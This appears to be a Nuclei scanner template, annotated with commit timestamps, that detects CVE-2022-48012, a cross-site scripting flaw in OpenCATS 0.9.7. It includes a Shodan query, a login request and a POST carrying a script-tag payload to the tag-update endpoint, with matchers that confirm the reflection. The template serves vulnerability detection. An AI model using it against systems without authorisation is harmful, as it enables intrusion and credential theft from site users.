2023-03-31 11:28:24 +00:00
id : CVE-2022-48012
info :
2023-04-14 15:29:54 +00:00
name : OpenCATS 0.9.7 - Cross-Site Scripting
2023-03-31 11:28:24 +00:00
author : r3Y3r53
2023-03-31 16:11:22 +00:00
severity : medium
2023-03-31 11:28:24 +00:00
description : |
2023-04-14 15:29:54 +00:00
OpenCATS 0.9.7 contains a cross-site scripting vulnerability via the component /opencats/index.php?m=settings&a=ajax_tags_upd. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
2023-09-06 11:59:08 +00:00
remediation : |
To mitigate this vulnerability, it is recommended to apply the latest security patches or upgrade to a newer version of OpenCATS that addresses the XSS vulnerability.
2023-03-31 11:28:24 +00:00
reference :
- https://github.com/Sakura-501/Opencats-0.9.7-Vulnerabilities
2023-03-31 16:11:22 +00:00
- https://github.com/Sakura-501/Opencats-0.9.7-Vulnerabilities/blob/main/Opencats-0.9.7-Reflected%20XSS%20in%20onChangeTag.md
2023-04-14 15:29:54 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-48012
2023-03-31 16:11:22 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2022-48012
cwe-id : CWE-79
2023-10-14 11:27:55 +00:00
epss-score : 0.00071
2023-11-27 09:19:41 +00:00
epss-percentile : 0.29441
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:opencats:opencats:0.9.7:*:*:*:*:*:*:*
2023-03-31 11:28:24 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 3
2023-07-11 19:49:27 +00:00
vendor : opencats
product : opencats
2023-09-06 11:59:08 +00:00
shodan-query : title:"opencats"
2023-03-31 11:28:24 +00:00
tags : cve,cve2022,xss,opencats,authenticated
2023-04-27 04:28:59 +00:00
http :
2023-03-31 11:28:24 +00:00
- raw :
- |
GET /index.php HTTP/1.1
Host : {{Hostname}}
- |
POST /index.php?m=login&a=attemptLogin HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
username={{username}}&password={{password}}
- |
POST /index.php?m=settings&a=ajax_tags_upd HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
tag_title=<script>alert(document.domain);</script>
matchers :
- type : dsl
dsl :
- contains(body_1, "opencats - Login")
- contains(body_3, "<script>alert(document.domain);</script>")
condition : and
2023-12-05 09:50:33 +00:00
2023-11-27 10:10:24 +00:00
# digest: 490a004630440220535d58625037496b4ccb2b12d7e617d35ad0a1d5018b5b75566a18ebfcb23b170220053e49612cb0174001bfa5c9706f7b33f286177e468ab8e9e239cdeaa2c8eedc:922c64590222798bb761d5b6d8e72950